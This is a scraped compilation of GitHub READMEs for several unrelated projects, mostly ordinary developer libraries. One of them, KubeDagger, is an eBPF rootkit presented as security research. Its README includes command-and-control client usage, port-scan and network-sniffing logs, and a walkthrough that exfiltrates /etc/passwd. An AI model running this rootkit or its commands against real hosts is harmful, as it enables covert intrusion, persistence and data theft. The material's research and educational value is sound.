Blog

  • MooMoo.js


    MooMoo.js

    Github Stars Releases

    MooMoo.js API

    MooMoo.js is a powerful, open-source API for modding the popular web-based game MooMoo.io. It allows developers to easily create and implement mods without the need for manually intercepting WebSocket messages.

    Benefits of using MooMoo.js

    • Ease of Use: MooMoo.js takes care of the complexities of intercepting WebSocket messages, allowing developers to focus on creating their mods.

    • Powerful Functionality: The API provides a wide range of features, including packet intercepting, player data manipulation, and more.

    • Flexibility: MooMoo.js allows** developers to create both client-side and server-side mods, providing a high level of customization.

    • Open-source: The API is open-source, allowing developers to freely use, modify, and distribute the code.

    Features

    Some of the key features of MooMoo.js include:

    • Packet Intercepting: The API allows developers to intercept both incoming and outgoing packets, providing the ability to modify or block them as needed.

    • Player Data Manipulation: The API allows developers to easily access and manipulate player data, such as coordinates, inventory, and more.

    • Built-in msgpack support: The API includes built-in support for the msgpack data format, making it easy to encode and decode packets.

    Event system: The API allows developers to listen to events, such as player death, item pickup, and more.

    Installation

    MooMoo.js can be easily used in a Tampermonkey script. You can find the most recent version at Greasyfork.

    Documentation

    The MooMoo.js API is fully documented on the official website. It provides a detailed explanation of all the available features, as well as code examples to help developers get started.

    Visit original content creator repository https://github.com/MooMooForge/MooMoo.js
  • squire-lagacy

    Squire

    A guide for your guide.

    Built with Grunt

    Getting Started

    Make sure you have the following installed:

    In the root of your project, run the following:

    npm i && bower i && grunt setup

    Then run grunt to build the project.

    Development

    In your wp-content/themes folder you will now have a folder with the name of your theme which is setup with the basics to get a theme off the ground quickly. In the root of your newly created theme you’ll have the following grunt tasks you can run:

    grunt # runs the default task that builds the assets
    grunt server # initiates Browsersync and watches files for changes
    

    Sass

    Global variables are located in /assets/sass/abstracts/_foundation-vars.scss

    Javascript

    All files in /assets/js/src/ are concatenated into the /assets/js/ directory.

    Production

    When you’re done and ready to go live you’ll need to minify your js and whatnot. You can do this by using:

    grunt build
    

    This will minify all your assets and copy the theme to a dist/ directory then compresses to a .zip.

    Shortcodes

    Button

    [button style="" url="http://example.com"]A Button[/button]

    Color Block

    [color-block color="0069ff"]

    Multi Page template

    Squire has the option to load child pages into the parent page along with an on page navigation. Simply select the “Multi Page” template and add child pages to the parent.

    Visit original content creator repository https://github.com/sixteenbit/squire-lagacy
  • Data_Modeling_Apache-cassandra

    Data_Modeling_Apache-cassandra

    Applying data modeling with Apache Cassandra and build an ETL pipeline using Python. Additionally, modeling the data by creating tables in Apache Cassandra to run queries.

    Project summary:

    Applying data modeling with Apache Cassandra and building an ETL pipeline using Python.
    Additionally, modeling the data by creating tables in Apache Cassandra to run queries.

    Data Modeling with Apache Cassandra

    For this project, we’ll be working with one dataset: event_data.
    We will process the data set to create a denormalized dataset table. during the modeling process we will put the queries we want to run on our minds, to make the new dataset ready to get

    query the needed information. We will create tables using Apache cassandra then we will load the data into the new created tables. after loading the data in the created tables we will run our queries to test.

    Project Dataset

    The data set is provided from Udacity, It has 11 columns

    • artist : Artist name [object]
    • firstName: First name of user [object]
    • gender: Gender of user (male or female) [object]
    • itemInSession: Item number in session [int64]
    • lastName: Last name of user [object]
    • length: Length of the song [float64]
    • level: Level (paid or free song) [object]
    • location: Location of the user [object]
    • sessionId: The unique ID of the session [int64]
    • song: Song title [object]
    • userId: User unique ID [int64]

    (The data type is from the function panda.dtypes() . Pandas actually stores pointers to strings in data frames and series, which is why object
    instead of str appears as the datatype. Understanding this is not essential – just know that strings will appear as objects in Pandas.).

    There are no complicated project steps in this project. just run Project_1B_ Project_Template.ipynb

    if there’s some issue with the first cells that means Udacity has changed their cursor and session configurations. but don’t worry the code is carefully commented and the logic still works fine.

    Have fun learning!

    END OF PROJECT

    Visit original content creator repository
    https://github.com/SalSuwai/Data_Modeling_Apache-cassandra

  • react-rainbow-ascii

    react-rainbow-ascii 🌈

    A React component for generating responsive rainbow ASCII art from text

    Screenshot

    NPM

    Install

    With npm:

    npm install --save react-rainbow-ascii

    With yarn:

    yarn add react-rainbow-ascii

    Usage

    import React from 'react'
    import ASCII from 'react-rainbow-ascii'
    
    function YourComponent() {
      return (
        <div>
          <ASCII text='ASCII + Rainbows!' />
        </div>
      )
    }

    Result:

    Screenshot

    Options

    You can pass several options to react-rainbow-ascii as props;

    interface ASCIIProps {
      text?: string // The text you want to render to ASCII. Default: 'Hello!'
      rainbow?: boolean // Whether you want the ASCII to be a rainbow. Default: true
      fallback?: string // Fallback HTML element to use for SEO. Default: 'pre'
      font?: figlet.Fonts // ASCII Figlet Font to use. Default: Slant
      id?: string // A unique id prevents multiple instances from conflicting. Default: null
    }

    See examples for advanced usage.

    Development

    If you want to make changes to this library in a local development environment, first you need to symlink some packages:

    cd ../your-app/node_modules/react && yarn link
    cd react-rainbow-ascii && yarn link && yarn link react
    cd ../your-app && yarn link react-rainbow-ascii

    This allows you to see changes to this package immediately in your example app and prevents the example app from seeing more than one copy of React.

    Then start the dev server which will build the module and watch for changes to automatically rebuild:

    cd react-rainbow-ascii && yarn start

    Then add import ASCII from 'react-rainbow-ascii'; to your example project to use it.

    To run tests:

    cd react-rainbow-ascii && yarn test

    Or:

    cd react-rainbow && yarn test:watch
    Visit original content creator repository https://github.com/localjo/react-rainbow-ascii
  • react-rainbow-ascii

    react-rainbow-ascii 🌈

    A React component for generating responsive rainbow ASCII art from text

    Screenshot

    NPM

    Install

    With npm:

    npm install --save react-rainbow-ascii

    With yarn:

    yarn add react-rainbow-ascii

    Usage

    import React from 'react'
    import ASCII from 'react-rainbow-ascii'
    
    function YourComponent() {
      return (
        <div>
          <ASCII text='ASCII + Rainbows!' />
        </div>
      )
    }

    Result:

    Screenshot

    Options

    You can pass several options to react-rainbow-ascii as props;

    interface ASCIIProps {
      text?: string // The text you want to render to ASCII. Default: 'Hello!'
      rainbow?: boolean // Whether you want the ASCII to be a rainbow. Default: true
      fallback?: string // Fallback HTML element to use for SEO. Default: 'pre'
      font?: figlet.Fonts // ASCII Figlet Font to use. Default: Slant
      id?: string // A unique id prevents multiple instances from conflicting. Default: null
    }

    See examples for advanced usage.

    Development

    If you want to make changes to this library in a local development environment, first you need to symlink some packages:

    cd ../your-app/node_modules/react && yarn link
    cd react-rainbow-ascii && yarn link && yarn link react
    cd ../your-app && yarn link react-rainbow-ascii

    This allows you to see changes to this package immediately in your example app and prevents the example app from seeing more than one copy of React.

    Then start the dev server which will build the module and watch for changes to automatically rebuild:

    cd react-rainbow-ascii && yarn start

    Then add import ASCII from 'react-rainbow-ascii'; to your example project to use it.

    To run tests:

    cd react-rainbow-ascii && yarn test

    Or:

    cd react-rainbow && yarn test:watch
    Visit original content creator repository https://github.com/localjo/react-rainbow-ascii
  • ViViD

    [Vi]meo [Vi]deo [D]ownloader

    A Vimeo video downloader proof-of-concept…

    Usage Instructions

    1. Open the executable
    2. Paste the Vimeo video link and hit Enter
    3. App will fail miserably, crash and burn… It didn’t? What do you mean, it didn’t?! It’s supposed to fail. Well in that case, see step #3.i
      1. Video will be downloaded in one of way ways, depending on which one is possible.

    Note: Using the favoured approach, the video and audio streams will be downloaded as separate stream files. If you want them combined, specify an FFmpeg bin path in the app.config prior to doing the above.

    Disclaimer

    This software is provided as-is, as a proof-of-concept of the ability to find, parse, download and join video (and audio) segments from Vimeo. Note that this is provided for educational purposes through the analysis of code – rather than for actual use.

    Note that this is a quick and dirty approach. As such look at the code for an idea as to how this is achieved rather than for the merit of the code itself. That being said, feel free to contribute and fix as you see fit.

    Code assumes that the best stream quality should be downloaded. If you do not prefer this approach, it’s time to get your hands dirty. Simply change the stream ordering to something yoou would prefer instead.

    It is very probable that the code is dysfunctional by the time you see this. Due to the nature of the project – a lot of dependencies and assumptions are made on third-party content / services outside of my control.

    Visit original content creator repository
    https://github.com/TrapperHell/ViViD

  • KubeDagger

    KubeDagger

    Kube Dagger

    License: GPL v2 License

    KubeDagger will act as a rootkit that leverages multiple eBPF features to implement offensive security techniques. We implemented most of the features you would expect from a rootkit: obfuscation techniques, container breakouts, persistent access, command and control, pivoting, network scanning, Runtime Application Self-Protection (RASP) bypass, etc.

    This is inspired by the rootkit was presented at BlackHat USA 2021: With Friends Like eBPF, Who Needs Enemies? and Defcon 29: eBPF, I thought we were friends !. Check out to see a demo of the network scanner, container breakouts and the RASP bypass.

    Credits: ebpfkit
    Video: BlackHat USA 2021: With Friends Like eBPF, Who Needs Enemies?

    Disclaimer

    The application herein is provided for educational purposes only and for those who are willing and curious to learn about ethical hacking, security and penetration testing with eBPF.

    Do not attempt to use these tools to violate the law. The author is not responsible for any illegal action. Misuse of the provided information can result in criminal charges.

    System requirements

    • golang 1.13+
    • This project was developed on an Ubuntu Focal machine (Linux Kernel 5.4)
    • Kernel headers are expected to be installed in lib/modules/$(uname -r) (see Makefile)
    • clang & llvm (11.0.1)
    • Graphviz (to generate graphs)
    • go-bindata (go get -u github.com/shuLhan/go-bindata/...)

    Build

    1. To build the entire project, run:
    # ~ make
    1. To install kubedagger-client (copies kubedagger-client to /usr/bin/), run:
    # ~ make install_client

    Getting started

    KubeDagger contains the entire rootkit. It needs to run as root. Run sudo ./bin/kubedagger -h to get help. You can simply run sudo ./bin/kubedagger to start the rootkit with default parameters.

    # ~ sudo ./bin/kubedagger -h
    Usage:
      kubedagger [flags]
    
    Flags:
          --append                        (file override feature only) when set, the content of the source file will be appended to the content of the target file
          --comm string                   (file override feature only) comm of the process for which the file override should apply
          --disable-bpf-obfuscation       when set, kubedagger will not hide itself from the bpf syscall
          --disable-network-probes        when set, kubedagger will not try to load its network related probes
          --docker string                 path to the Docker daemon executable (default "/usr/bin/dockerd")
      -e, --egress string                 egress interface name (default "enp0s3")
      -h, --help                          help for kubedagger
      -i, --ingress string                ingress interface name (default "enp0s3")
      -l, --log-level string              log level, options: panic, fatal, error, warn, info, debug or trace (default "info")
          --postgres string               path to the Postgres daemon executable (default "/usr/lib/postgresql/12/bin/postgres")
          --src string                    (file override feature only) source file which content will be used to override the content of the target file
          --target string                 (file override feature only) target file to override
      -p, --target-http-server-port int   Target HTTP server port used for Command and Control (default 8000)
          --webapp-rasp string            path to the webapp on which the RASP is installed
    # ~ sudo ./bin/kubedagger

    In order to use the client, you’ll need to have an HTTP server to enable the Command and Control feature of the rootkit. We provide a simple webapp that you can start by running ./bin/webapp. Run ./bin/webapp -h to get help.

    # ~ ./bin/webapp -h
    Usage of ./bin/webapp:
      -ip string
        	ip on which to bind (default "0.0.0.0")
      -port int
        	port to use for the HTTP server (default 8000)
    # ~ ./bin/webapp

    Once both kubedagger and the webapp are running, you can start using kubedagger-client. Run kubedagger-client -h to get help.

    # ~ kubedagger-client -h
    Usage:
      kubedagger-client [command]
    
    Available Commands:
      docker            Docker image override configuration
      fs_watch          file system watches
      help              Help about any command
      network_discovery network discovery configuration
      pipe_prog         piped programs configuration
      postgres          postgresql authentication control
    
    Flags:
      -h, --help               help for kubedagger-client
      -l, --log-level string   log level, options: panic, fatal, error, warn, info, debug or trace (default "info")
      -t, --target string      target application URL (default "http://localhost:8000")
    
    Use "kubedagger-client [command] --help" for more information about a command.

    Examples

    This section contains only 3 examples. We invite you to watch our BlackHat USA 2021 and Defcon 29 talks to see a demo of all the features of the rootkit. For example, you’ll see how you can use Command and Control to change the passwords of a Postgresql database at runtime, or how we successfully hid the rootkit on the host. We also demonstrate 2 container breakouts during our BlackHat talk, and a RASP bypass during our Defcon talk.

    Exfiltrate passive network sniffing data

    On startup, by default, the rookit will start listening passively for all the network connections made to and from the infected host. You can periodically poll that data using the network_discovery command of kubedagger-client. It may take a while to extract everything so be patient …

    # ~ kubedagger-client -l debug network_discovery get
    DEBUG[2021-08-04T10:10:46Z]
    GET /get_net_dis HTTP/1.1
    Host: localhost:8000
    User-Agent: 0000________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
    
    DEBUG[2021-08-04T10:10:46Z]
    GET /get_fswatch HTTP/1.1
    Host: localhost:8000
    User-Agent: 0/kubedagger/network_discovery#________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
    
    DEBUG[2021-08-04T10:10:46Z]
    GET /get_net_dis HTTP/1.1
    Host: localhost:8000
    User-Agent: 0015________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
    
    [...]
    
    INFO[2021-08-04T10:10:57Z] Dumping collected network flows (358):
    10.0.2.2:52615 -> 10.0.2.15:8000 (1) UDP 0B TCP 2461B
    10.0.2.15:8000 -> 10.0.2.2:52615 (2) UDP 0B TCP 833B
    10.0.2.15:0 -> 10.0.2.3:0 (3) UDP 0B TCP 0B
    10.0.2.3:0 -> 10.0.2.15:0 (4) UDP 0B TCP 0B
    10.0.2.15:22 -> 10.0.2.2:51653 (2) UDP 0B TCP 17120B
    10.0.2.2:51653 -> 10.0.2.15:22 (1) UDP 0B TCP 13068B
    10.0.2.15:48308 -> 3.233.147.212:443 (2) UDP 0B TCP 532255B
    
    [...]
    
    51.15.175.180:123 -> 10.0.2.15:36389 (1) UDP 76B TCP 0B
    10.0.2.15:38116 -> 169.254.172.1:51678 (2) UDP 0B TCP 60B
    10.0.2.15:38120 -> 169.254.172.1:51678 (2) UDP 0B TCP 60B
    127.0.0.1:41900 -> 127.0.0.1:8000 (2) UDP 0B TCP 53525B
    127.0.0.1:41900 -> 127.0.0.1:8000 (1) UDP 0B TCP 53525B
    127.0.0.1:8000 -> 127.0.0.1:41900 (2) UDP 0B TCP 38518B
    127.0.0.1:8000 -> 127.0.0.1:41900 (1) UDP 0B TCP 38518B
    INFO[2021-08-04T10:10:58Z] Graph generated: /tmp/network-discovery-graph-453667534

    The final step is to generate the svg file. We used the fdp layout of Graphviz.

    # ~ fdp -Tsvg /tmp/network-discovery-graph-453667534 > ./graphs/passive_network_discovery.svg

    passive_network_discovery.svg

    Run a port scan on 10.0.2.3, from port 7990 to 8010

    Note: for this feature to work, you cannot run kubedagger-client locally. If you’re running the rootkit in a guest VM, expose the webapp port (default 8000) of the guest VM to the host and make the kubedagger-client request from the host.

    To request a port scan, use the network_discovery command. You can specify the target IP, start port and port range.

    # ~ kubedagger-client -l debug network_discovery scan --ip 10.0.2.3 --port 7990 --range 20
    DEBUG[2021-08-04T11:59:46Z]
    GET /get_net_sca HTTP/1.1
    Host: localhost:8000
    User-Agent: 0100000020030799000020______________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
    
    DEBUG[2021-08-04T11:59:51Z] {"api":{"version":"1.0.1","hash":"9b71d224bd62f3785d96d46ad3ea3d73319bfbc2890caadae2dff72519673ca72323c3d99ba5c11d7cfc1d215a922ad186ac28b0aaa23ed6ebe436e67aacd987cc6e14b8c5da0c4663475c2e5c3adef46f73bcdec043","git_commit":"c1d215a922ad186acbe436e6e2c513128b0aaa23ed6e3a4d48140b4931895384bc5b8074b7ef6b1a3e2a65b5be0c875871fec6e1a38f9c3de2c51313a4d48140b4931895384bc5b8074b7ef6b35c208abd4e16f2","release_date":"2021-03-29T13:51:31.606184183Z"},"timestamp":"2021-08-04T09:59:51.680566768Z","status":200,"data":"OK"}

    On the infected host, you should see debug logs in /sys/kernel/debug/tracing/trace_pipe. For example, you should see the initial ARP request to resolve the MAC address of the target IP, and then a list of SYN requests to probe the ports from the requested range.

    # ~ sudo cat /sys/kernel/debug/tracing/trace_pipe
              <idle>-0       [003] ..s.  5557.564353: 0: sending ARP request ...
              <idle>-0       [003] ..s.  5557.564451: 0: ARP response!
                sshd-3035    [003] ..s1  5559.108243: 0: SYN request answer (7990): rst:1 syn:0
                sshd-3035    [003] ..s.  5559.108482: 0: SYN request answer (7991): rst:1 syn:0
              <idle>-0       [003] ..s.  5559.108666: 0: SYN request answer (7992): rst:1 syn:0
                sshd-3035    [003] ..s.  5559.108882: 0: SYN request answer (7993): rst:1 syn:0
                sshd-3035    [003] ..s1  5559.109075: 0: SYN request answer (7994): rst:1 syn:0
                sshd-3035    [003] ..s1  5559.109304: 0: SYN request answer (7995): rst:1 syn:0
              <idle>-0       [003] .Ns.  5559.109568: 0: SYN request answer (7996): rst:1 syn:0
              <idle>-0       [003] ..s.  5559.109896: 0: SYN request answer (7997): rst:1 syn:0
         ksoftirqd/3-30      [003] ..s.  5559.110065: 0: SYN request answer (7998): rst:1 syn:0
                sshd-3035    [003] ..s.  5559.110344: 0: SYN request answer (7999): rst:1 syn:0
              <idle>-0       [003] ..s.  5559.110629: 0: OPEN PORT 8000
              <idle>-0       [003] ..s.  5559.110639: 0: SYN request answer (8000): rst:0 syn:1
              <idle>-0       [003] .Ns.  5559.110840: 0: SYN request answer (8001): rst:1 syn:0
                sshd-3035    [003] ..s.  5559.111100: 0: SYN request answer (8002): rst:1 syn:0
                sshd-3035    [003] ..s1  5559.111455: 0: SYN request answer (8003): rst:1 syn:0
                sshd-3035    [003] ..s1  5559.111661: 0: SYN request answer (8004): rst:1 syn:0
              <idle>-0       [003] .ns.  5559.111852: 0: SYN request answer (8005): rst:1 syn:0
              <idle>-0       [003] ..s.  5559.112016: 0: SYN request answer (8006): rst:1 syn:0
              <idle>-0       [003] ..s.  5559.112245: 0: SYN request answer (8007): rst:1 syn:0
              <idle>-0       [003] ..s.  5559.112597: 0: SYN request answer (8008): rst:1 syn:0
              <idle>-0       [003] ..s.  5559.112913: 0: SYN request answer (8009): rst:1 syn:0
                sshd-3035    [003] ..s.  5559.122702: 0: scan done !

    Once the scan is finished, you can exfiltrate the scan result using the network_discovery command. You need to add the active flag to request the network traffic generated by the network scan. It may take a while to extract everything so be patient …

    # ~ kubedagger-client -l debug network_discovery get --active
    DEBUG[2021-08-04T09:49:15Z]
    GET /get_net_dis HTTP/1.1
    Host: localhost:8000
    User-Agent: 0000________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
    
    DEBUG[2021-08-04T09:49:15Z]
    GET /get_fswatch HTTP/1.1
    Host: localhost:8000
    User-Agent: 0/kubedagger/network_discovery#________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
    
    DEBUG[2021-08-04T09:49:15Z]
    GET /get_net_dis HTTP/1.1
    Host: localhost:8000
    User-Agent: 0015________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
    
    [...]
    
    INFO[2021-08-04T09:49:17Z] Dumping collected network flows (65):
    10.0.2.15:48308 -> 3.233.147.212:443 (2) UDP 0B TCP 65811B
    3.233.147.212:443 -> 10.0.2.15:48308 (1) UDP 0B TCP 17882B
    10.0.2.2:51653 -> 10.0.2.15:22 (1) UDP 0B TCP 30320B
    10.0.2.15:22 -> 10.0.2.2:51653 (2) UDP 0B TCP 39648B
    127.0.0.1:41684 -> 127.0.0.1:8000 (2) UDP 0B TCP 4524B
    127.0.0.1:41684 -> 127.0.0.1:8000 (1) UDP 0B TCP 4524B
    127.0.0.1:8000 -> 127.0.0.1:41684 (2) UDP 0B TCP 3250B
    127.0.0.1:8000 -> 127.0.0.1:41684 (1) UDP 0B TCP 3250B
    127.0.0.1:42682 -> 127.0.0.53:53 (2) UDP 78B TCP 0B
    127.0.0.1:42682 -> 127.0.0.53:53 (1) UDP 78B TCP 0B
    
    [...]
    
    10.0.2.15:57596 -> 10.0.2.3:53 (2) UDP 145B TCP 0B
    10.0.2.3:53 -> 10.0.2.15:57596 (1) UDP 145B TCP 0B
    127.0.0.1:53303 -> 127.0.0.53:53 (2) UDP 78B TCP 0B
    127.0.0.1:53303 -> 127.0.0.53:53 (1) UDP 78B TCP 0B
    10.0.2.15:34355 -> 10.0.2.3:53 (2) UDP 145B TCP 0B
    10.0.2.3:53 -> 10.0.2.15:34355 (1) UDP 145B TCP 0B
    127.0.0.53:53 -> 127.0.0.1:53303 (2) UDP 78B TCP 0B
    127.0.0.53:53 -> 127.0.0.1:53303 (1) UDP 78B TCP 0B
    127.0.0.1:41700 -> 127.0.0.1:8000 (2) UDP 0B TCP 9368B
    127.0.0.1:41700 -> 127.0.0.1:8000 (1) UDP 0B TCP 9368B
    127.0.0.1:8000 -> 127.0.0.1:41700 (2) UDP 0B TCP 6338B
    127.0.0.1:8000 -> 127.0.0.1:41700 (1) UDP 0B TCP 6338B
    INFO[2021-08-04T09:49:17Z] Graph generated: /tmp/network-discovery-graph-3064189396

    The final step is to generate the svg file. We used the fdp layout of Graphviz.

    # ~ fdp -Tsvg /tmp/network-discovery-graph-3064189396 > ./graphs/active_network_discovery.svg

    active_network_discovery.svg

    Dump the content of /etc/passwd

    This is a 3 steps process. First you need to ask the rootkit to start looking for /etc/passwd. You can use the fs_watch command of kubedagger-client to do that.

    # ~ kubedagger-client -l debug fs_watch add /etc/passwd
    DEBUG[2021-08-04T10:14:52Z]
    GET /add_fswatch HTTP/1.1
    Host: localhost:8000
    User-Agent: 0/etc/passwd#_______________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
    
    DEBUG[2021-08-04T10:14:52Z]
    {"api":{"version":"1.0.1","hash":"9b71d224bd62f3785d96d46ad3ea3d73319bfbc2890caadae2dff72519673ca72323c3d99ba5c11d7cfc1d215a922ad186ac28b0aaa23ed6ebe436e67aacd987cc6e14b8c5da0c4663475c2e5c3adef46f73bcdec043","git_commit":"c1d215a922ad186acbe436e6e2c513128b0aaa23ed6e3a4d48140b4931895384bc5b8074b7ef6b1a3e2a65b5be0c875871fec6e1a38f9c3de2c51313a4d48140b4931895384bc5b8074b7ef6b35c208abd4e16f2","release_date":"2021-03-29T13:51:31.606184183Z"},"timestamp":"2021-08-04T10:14:52.777484554Z","status":200,"data":"OK"}

    Then, you need to wait until a process on the infected host opens and reads /etc/passwd (run sudo su to simulate this step). The rootkit will copy the content of the file as it is sent back to the process by the kernel. Finally, you can exfiltrate the content of the file using the fs_watch command again.

    # ~ kubedagger-client -l debug fs_watch get /etc/passwd
    DEBUG[2021-08-04T10:18:35Z]
    GET /get_fswatch HTTP/1.1
    Host: localhost:8000
    User-Agent: 0/etc/passwd#_______________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
    
    INFO[2021-08-04T10:18:36Z] Dump of /etc/passwd:
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
    systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
    systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
    messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
    syslog:x:104:110::/home/syslog:/usr/sbin/nologin
    _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
    tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
    uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
    tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
    sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
    landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
    pollinate:x:111:1::/var/cache/pollinate:/bin/false
    vagrant:x:1000:1000:,,,:/home/vagrant:/usr/bin/zsh
    systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
    ubuntu:x:1001:1001:Ubuntu:/home/ubuntu:/bin/bash
    lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
    postgres:x:112:121:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
    ____________________________________________________________________________________________________________________________________

    License

    • The golang code is under Apache 2.0 License.
    • The eBPF programs are under the GPL v2 License.
    Visit original content creator repository https://github.com/yasindce1998/KubeDagger
  • ComponentsManager

    ComponentsManager

    VERSION Codacy Badge Android Arsenal

    README for the 1.x.x of the library lives here.

    Benefits

    • No need to save the components somewhere
    • No need to remove the component when the Activity/Fragment is going to be destroyed
    • The components will be saved while the rotation changes

    Getting started

    This library is available on jitpack and jcenter.

    To download it from the jitpack, add these lines in your root build.gradle at the end of repositories:

    allprojects {
        repositories {
            ...
            maven { url 'https://jitpack.io' }
        }
    }

    If you are using AndroidX

    implementation "com.github.valeryponomarenko.componentsmanager:androidx:LATEST_VERSION"

    If you are using AppCompat

    implementation "com.github.valeryponomarenko.componentsmanager:appcompat:LATEST_VERSION"

    Idea

    The idea of the library is to save dagger components and return them when they are needed. Every component is saved in the static store and removed when the owner is going to be destroyed.

    What’s new

    2.1.0

    *InjectionManagers have two new methods to find a component. The methods return null if a component was not found and no exceptions are thrown.

    // finds a component by type
    XInjectionManager
        .findComponentOrNull<SomeComponent>()
        ?.someMethod()
    
    // finds a component by predicate
    XInjectionManager
        .findComponentOrNull { /* predicate */ }
        ?.someMethod()

    The ComponentNotFoundException class that is inside me.vponomarenko.injectionmanager.exeptions package is deprecated, because the exeptions was misspelled, so use ComponentNotFoundException that is inside me.vponomarenko.injectionmanager.exceptions package. The new ComponentNotFoundException class is inherited from the old one.

    2.0.1

    If you use the *InjectionManager.findComponent() method and the component was not found, the ComponentNotFoundException will be more informative, beucase the type of the component will be printed.

    //before
    Caused by: me.vponomarenko.injectionmanager.exeptions.ComponentNotFoundException:
        Component for the Function1<java.lang.Object, java.lang.Boolean> was not found
    ...
    
    //after
    Caused by: me.vponomarenko.injectionmanager.exeptions.ComponentNotFoundException: 
        Component of the FragmentChildB type was not found
    ...
    

    But if you use the *InjectionManager.findComponent(predicate) method, the exception’s massage will be the same as it was in 2.0.0.

    2.0.0

    The main difference between the 2.0.0 version and the 1.1.0 version that the IHasComponent interface is a generic one. Therefore, you must specify the class of the component.

    //before
    class MyFragment : Fragment(), IHasComponent {
        override fun onCreate(savedInstanceState: Bundle?) {
            super.onCreate(savedInstanceState)
            XInjectionManager
                .bindComponent<MyComponent>(this)
                .inject(this)
        }
    
        override fun getComponent(): Any = DaggerMyComponent.create()
    }
    
    //after
    class MyFragment : Fragment(), IHasComponent<MyComponent> {
        override fun onCreate(savedInstanceState: Bundle?) {
            super.onCreate(savedInstanceState)
            XInjectionManager
                .bindComponent(this)
                .inject(this)
        }
    
        override fun getComponent(): MyComponent = DaggerMyComponent.create()
    }

    1.1.0

    Add static methods into the (X/Compat)InjectionManager, so there will no need to get the instance and then call the needed method. Examples:

    //before
    fun foo() {
        XInjectionManager.instance.init(this)
        XInjectionManager.instance.bindComponent<AppComponent>(this)
    }
    
    //after
    fun foo() {
        XInjectionManager.init(this)
        XInjectionManager.bindComponent<AppComponent>(this)
    }

    How to use

    The following example will be for the AndroidX. If you want to use this library for the AppCompat packages, just change XInjectionManager to CompatInjectionManager.

    First thing first, add the lifecycle callbacks listeners. At this step the library registers the lifecycle listener for the future activities and the fragments so the components that are bound to the activity or fragment will be destroyed right after the destruction of the owner.

    class App : Application() {
        override fun onCreate() {
            super.onCreate()
            XInjectionManager.init(this)
        }
    }

    For example, the FirstFragment (also it works for the activities too) has a component, so you must implement the IHasComponent interface and call the bindComponent method of the XInjectionManager class. When the component is bound, it is available for other classes, but make sure, that these classes will not live longer than the owner of the component.

    class FirstFragment : Fragment(), IHasComponent<FirstFeatureComponent> {
        //code...
        override fun onCreate(savedInstanceState: Bundle?) {
            super.onCreate(savedInstanceState)
            XInjectionManager.bindComponent(this).inject(this)
        }
    
        override fun getComponent(): FirstFeatureComponent =
            DaggerFirstFeatureComponent.builder()
                .build()
    }

    If the fragment doesn’t have its own component and uses the AppComponent to inject the dependencies, just call the findComponent method and specify the class of the component and that is all.

    class SecondFragment : Fragment() {
        //code...
        override fun onCreate(savedInstanceState: Bundle?) {
            super.onCreate(savedInstanceState)
            XInjectionManager.findComponent<AppComponent>().inject(this)
        }
    }

    Also, this method might be used for getting dagger dependencies to build some components.

    class AnotherFragment : Fragment(), IHasComponent<AnotherFeatureComponent> {
        //code...
        override fun getComponent(): AnotherFeatureComponent =
            DaggerAnotherFeatureComponent.builder()
                .appDependency(XInjectionManager.findComponent())
                .build()
    }

    That’s all. There is no need to write code that will save, search or remove components anymore.

    For more information, please, read the wiki pages.

    Links

    Lifecycle aware Dagger components – ProAndroidDev

    If you have any questions, feel free to ask me on LinkedIn.

    Visit original content creator repository https://github.com/ValeryPonomarenko/ComponentsManager
  • ape-vyper

    Quick Start

    Ape compiler plugin around VVM

    Dependencies

    Installation

    via pip

    You can install the latest release via pip:

    pip install ape-vyper

    via setuptools

    You can clone the repository and use setuptools for the most up-to-date version:

    git clone https://github.com/ApeWorX/ape-vyper.git
